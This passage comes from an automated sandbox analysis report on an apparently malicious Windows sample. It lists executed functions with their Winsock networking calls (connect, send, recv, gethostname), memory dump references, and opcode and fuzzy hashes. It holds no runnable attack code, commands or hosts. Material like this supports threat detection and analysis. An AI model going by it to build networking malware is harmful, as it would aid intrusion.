                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: Startup
                                  • String ID: if_nametoindex$iphlpapi.dll
                                  • API String ID: 724789610-3097795196
                                  • Opcode ID: 71696785bc189dbd1a5253a102a9d77a5586f3f7be0fa186c88a4b89d1544525
                                  • Instruction ID: 4fb6be7f707dab08a0a9fe1f9050aa6be3236d3dda64d7caad4adf1613e77050
                                  • Opcode Fuzzy Hash: 71696785bc189dbd1a5253a102a9d77a5586f3f7be0fa186c88a4b89d1544525
                                  • Instruction Fuzzy Hash: 36012BE0E5038596F7726B7CAD1B7763A926B61304F44286CF988C5186FA2EC548C293
                                  Function 00AE78B0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: closesocket
                                  • String ID: FD %s:%d sclose(%d)
                                  • API String ID: 2781271927-3116021458
                                  • Opcode ID: 8fb96df5f5b0086d2f1adb883d17f1a9538d743737b5671e3171b08a82f2eb52
                                  • Instruction ID: 95f4b007ab4ebca56697e37ca701a767baafc74f00a580bca9fcad3b49b7692b
                                  • Opcode Fuzzy Hash: 8fb96df5f5b0086d2f1adb883d17f1a9538d743737b5671e3171b08a82f2eb52
                                  • Instruction Fuzzy Hash: 78D05E329192616B8520AA5A7D49C8F6BA8DECAF60B060C58FA406B201E1209D4087E2
                                  Function 00BAB060 Relevance: 3.0, APIs: 2, Instructions: 48networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • connect.WS2_32(-00000028,-00000028,-00000028,-00000001,-00000028,?,-00000028,00BAB29E,?,00000000,?,?), ref: 00BAB0BA
                                  • WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,00000000,0000000B,?,?,00B93C41,00000000), ref: 00BAB0C1
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: ErrorLastconnect
                                  • String ID:
                                  • API String ID: 374722065-0
                                  • Opcode ID: 061d79247982850a201611d15ecdb4bcdc1268652791e89dd9d8728698d501d5
                                  • Instruction ID: 404c02cd1e6cdccf556ca12f2e291105043703a0e9c2fe16a74a6eef98da0e21
                                  • Opcode Fuzzy Hash: 061d79247982850a201611d15ecdb4bcdc1268652791e89dd9d8728698d501d5
                                  • Instruction Fuzzy Hash: F101D8363082009BCA305A789884F6BB3DAFF8A364F040BA4F978931D2D726ED509751
                                  Function 00B94950 Relevance: 1.7, APIs: 1, Instructions: 170networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • gethostname.WS2_32(00000000,00000040), ref: 00B94AA5
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: gethostname
                                  • String ID:
                                  • API String ID: 144339138-0
                                  • Opcode ID: 9a8f7592e99253dd650ce6e38e86b95d21ca1725acf21e19cbb913b73e92cc93
                                  • Instruction ID: 731acb3c100b963f4d264c30010d6762c80001e4de7674c3f718d88097e3398f
                                  • Opcode Fuzzy Hash: 9a8f7592e99253dd650ce6e38e86b95d21ca1725acf21e19cbb913b73e92cc93
                                  • Instruction Fuzzy Hash: 9D51E1706047008FEF309B25DE89F2376E4EF55329F1419BCE98A8A6D1E775E846C712
                                  Function 00BAAF70 Relevance: 1.6, APIs: 1, Instructions: 51COMMON
                                  Download Yara Rule
                                  APIs
                                  • getsockname.WS2_32(?,?,00000080), ref: 00BAAFD1
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: getsockname
                                  • String ID:
                                  • API String ID: 3358416759-0
                                  • Opcode ID: 2f9b83bce828722b14f87415e0e3907cf67f1b1e27be6652e0957c3b6de152de
                                  • Instruction ID: fb3a9270f5a31d4a42272bd2afdca337de0afe02a0e976b55a9573261774050a
                                  • Opcode Fuzzy Hash: 2f9b83bce828722b14f87415e0e3907cf67f1b1e27be6652e0957c3b6de152de
                                  • Instruction Fuzzy Hash: C111B47080C785A9EB2A8F18D4027E6F3F4EFD5328F109619E99942150F7325AC5CBD2
                                  Function 00BAA920 Relevance: 1.5, APIs: 1, Instructions: 44networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • send.WS2_32(?,?,?,00000000,00000000,?), ref: 00BAA97E
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: send
                                  • String ID:
                                  • API String ID: 2809346765-0
                                  • Opcode ID: 28668625b7ed057030f10c3d590e819d20183d10e5ba93be054907a2b23bfbe8
                                  • Instruction ID: a3db8b1d8f0bddd308e0f44124a768b8e6681f684dba3ffcdb603ec8b548d510
                                  • Opcode Fuzzy Hash: 28668625b7ed057030f10c3d590e819d20183d10e5ba93be054907a2b23bfbe8
                                  • Instruction Fuzzy Hash: 2D01A272B01710AFC6148F25DC45B5AB7A5EF85B20F068669EA982B361C331AC11CBE1
                                  Function 00BAA870 Relevance: 1.5, APIs: 1, Instructions: 33networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • recv.WS2_32(000000FF,00B96F4E,000000FF,00000000,00000000,000000FF,00B96F4E,000000FF,?,00000000,?), ref: 00BAA8B0
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: recv
                                  • String ID:
                                  • API String ID: 1507349165-0
                                  • Opcode ID: 99ac92b332966f04b39d42fe425ba7f1f3c56dd4101355d0060c12e337166150
                                  • Instruction ID: 112bce1ff8fef499ac57729e45bd04d826a177b1b50c94a1dbccc5621c00ca0b
                                  • Opcode Fuzzy Hash: 99ac92b332966f04b39d42fe425ba7f1f3c56dd4101355d0060c12e337166150
                                  • Instruction Fuzzy Hash: 35F03072B187217BD524CA18EC45FABF3A9EBC4B20F158A59B944672488360BC4186F2
                                  Function 00BAAF30 Relevance: 1.5, APIs: 1, Instructions: 29networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • socket.WS2_32(?,00BAB280,00000000,-00000001,00000000,00BAB280,?,?,00000002,00000011,?,?,00000000,0000000B,?,?), ref: 00BAAF66
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: socket
                                  • String ID:
                                  • API String ID: 98920635-0
                                  • Opcode ID: f51791f5e983f22a86acc17e2ff53f89984650c14ec90bf92152010c7d18f0f6
                                  • Instruction ID: aa54b47d526164907843ab0c679f98f560ff4022a8768d0ebaab26efef882896
                                  • Opcode Fuzzy Hash: f51791f5e983f22a86acc17e2ff53f89984650c14ec90bf92152010c7d18f0f6
                                  • Instruction Fuzzy Hash: 53E0EDB2A092616FD6649A58E8449ABF3A9EFC5B20F054A49BC5463204C330AC508BF2
                                  Function 00BAB020 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                  Download Yara Rule
                                  APIs
                                  • closesocket.WS2_32(?,00BA9422,?,?,?,?,?,?,?,?,?,?,?,00B93377,00FBC880,00000000), ref: 00BAB04D
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: closesocket
                                  • String ID:
                                  • API String ID: 2781271927-0
                                  • Opcode ID: d17980f558dba2216b0548d0612014722f10d3a368e6f11aff98552deb1a04e9
                                  • Instruction ID: 4fd4c71c36a74d2b6149b2bcb717274ea1d0c300612c3e9a87ebe93375ac1f50
                                  • Opcode Fuzzy Hash: d17980f558dba2216b0548d0612014722f10d3a368e6f11aff98552deb1a04e9
                                  • Instruction Fuzzy Hash: 41D0123470420157CA349A14C884E5776ABBFD6710FA9CBA8E47C4A556D73BDC478641
                                  Function 00B467E0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                  Download Yara Rule
                                  APIs
                                  • ioctlsocket.WS2_32(?,8004667E,?,?,00B1AF56,?,00000001), ref: 00B467FB
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: ioctlsocket
                                  • String ID:
                                  • API String ID: 3577187118-0
                                  • Opcode ID: 734fbcdbc1550b45949aa97d0e4dfb0fb0930a294c9512046266c0cab817f07b
                                  • Instruction ID: b7b02b9c8c308994bb11e45670cdb1ee1f24bb19364215e43a8300b6ed987101
                                  • Opcode Fuzzy Hash: 734fbcdbc1550b45949aa97d0e4dfb0fb0930a294c9512046266c0cab817f07b
                                  • Instruction Fuzzy Hash: 9DC012F1109201EFC60C4724D855A6EB6D9DB85255F01592CB04692180EA349490CA16
                                  Function 00AE31D7 Relevance: 1.3, APIs: 1, Instructions: 73COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: CloseHandle
                                  • String ID:
                                  • API String ID: 2962429428-0
                                  • Opcode ID: 5f3866741af95c5ab8087f65eb4a1e5436fe52a57ebe3fdc0197d9361a6041a2
                                  • Instruction ID: 47c1584a141935a6c209272fd1cd830dc076f02195686bccb734c98ce06c1451
                                  • Opcode Fuzzy Hash: 5f3866741af95c5ab8087f65eb4a1e5436fe52a57ebe3fdc0197d9361a6041a2
                                  • Instruction Fuzzy Hash: EF31B5B59053049BCB10EFB9D98969EBBF0BF44740F00896DE898A7241E734EA44DF52

                                  Non-executed Functions

                                  Function 00E6E050 Relevance: 21.3, APIs: 8, Strings: 3, Instructions: 2082COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
